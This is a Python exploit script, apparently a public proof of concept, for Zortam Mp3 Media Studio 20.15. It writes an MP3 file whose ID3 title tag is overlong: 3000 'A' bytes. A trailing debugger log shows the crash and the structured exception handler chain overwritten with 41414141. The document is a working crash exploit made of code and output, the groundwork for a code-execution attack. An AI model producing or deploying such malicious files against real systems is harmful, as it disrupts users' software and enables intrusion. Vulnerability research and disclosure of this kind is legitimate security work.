109 lines
No EOL
1.8 KiB
Python
Executable file
109 lines
No EOL
1.8 KiB
Python
Executable file
#-*- coding: utf-8 -*-
|
|
|
|
#
|
|
|
|
# Exploit Title : Zortam Mp3 Media Studio 20.15 - SEH overflow DOS
|
|
|
|
# Date: 2016-03-12
|
|
|
|
# Author: INSECT.B
|
|
|
|
# Facebook : https://www.facebook.com/B.INSECT00
|
|
|
|
# GitHub : binsect00
|
|
|
|
# Blog : http://binsect00.tistory.com
|
|
|
|
# Vendor Homepage : http://www.zortam.com
|
|
|
|
# Software Link: http://www.zortam.com/download.html
|
|
|
|
# Version: 20.15
|
|
|
|
# Tested on: Windows7 Professional SP1 En x86
|
|
|
|
# CVE : N/A
|
|
|
|
#
|
|
|
|
# Detail..
|
|
|
|
# 1. Zortam Mp3 Media Studio is program that change tags sound file
|
|
|
|
# 2. If tag length over certain length, program is occured crash.
|
|
|
|
# 3. Make mp3 file. title tag length is 3000.
|
|
|
|
# 4. program open. and serching Directory
|
|
|
|
|
|
|
|
|
|
|
|
id3Id = '\x49\x44\x33' #ID3
|
|
|
|
id3Version = '\x03\x00'
|
|
|
|
id3Flag = '\x00'
|
|
|
|
id3Size = '\x00\x00\x2F\x2D'
|
|
|
|
id3 = id3Id + id3Version + id3Flag + id3Size
|
|
|
|
|
|
|
|
frameId = '\x54\x49\x54\x32' #TIT2
|
|
|
|
frameSize = '\x00\x00\x0B\xB9' #Frame Size
|
|
|
|
frameFlag = '\x00\x00'
|
|
|
|
textEncoding = '\x00'
|
|
|
|
textInfo = 'A'*3000
|
|
|
|
frame = frameId + frameSize + frameFlag + textEncoding + textInfo
|
|
|
|
|
|
|
|
|
|
|
|
padding = '\x00'*1100
|
|
|
|
|
|
|
|
payload = id3 + frame + padding
|
|
|
|
with open('Zortam Mp3 Media Studio 20.15 DOS Vulnerabilities.mp3','wb') as f:
|
|
|
|
f.write(payload)
|
|
|
|
|
|
|
|
'''
|
|
|
|
STATUS_STACK_BUFFER_OVERRUN encountered
|
|
|
|
(aa4.c08): Break instruction exception - code 80000003 (first chance)
|
|
|
|
eax=00000000 ebx=743b74ec ecx=7619e28c edx=0012e4a9 esi=00000000 edi=756d6640
|
|
|
|
eip=7619e109 esp=0012e6f0 ebp=0012e76c iopl=0 nv up ei pl zr na pe nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
|
|
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
|
|
|
|
kernel32!FormatMessageA+0x14031:
|
|
|
|
7619e109 cc int 3
|
|
|
|
0:000> !exchain
|
|
|
|
0012e75c: kernel32!RegSaveKeyExA+3e9 (761ca022)
|
|
|
|
0012f2b8: 41414141
|
|
|
|
Invalid exception stack at 41414141
|
|
|
|
''' |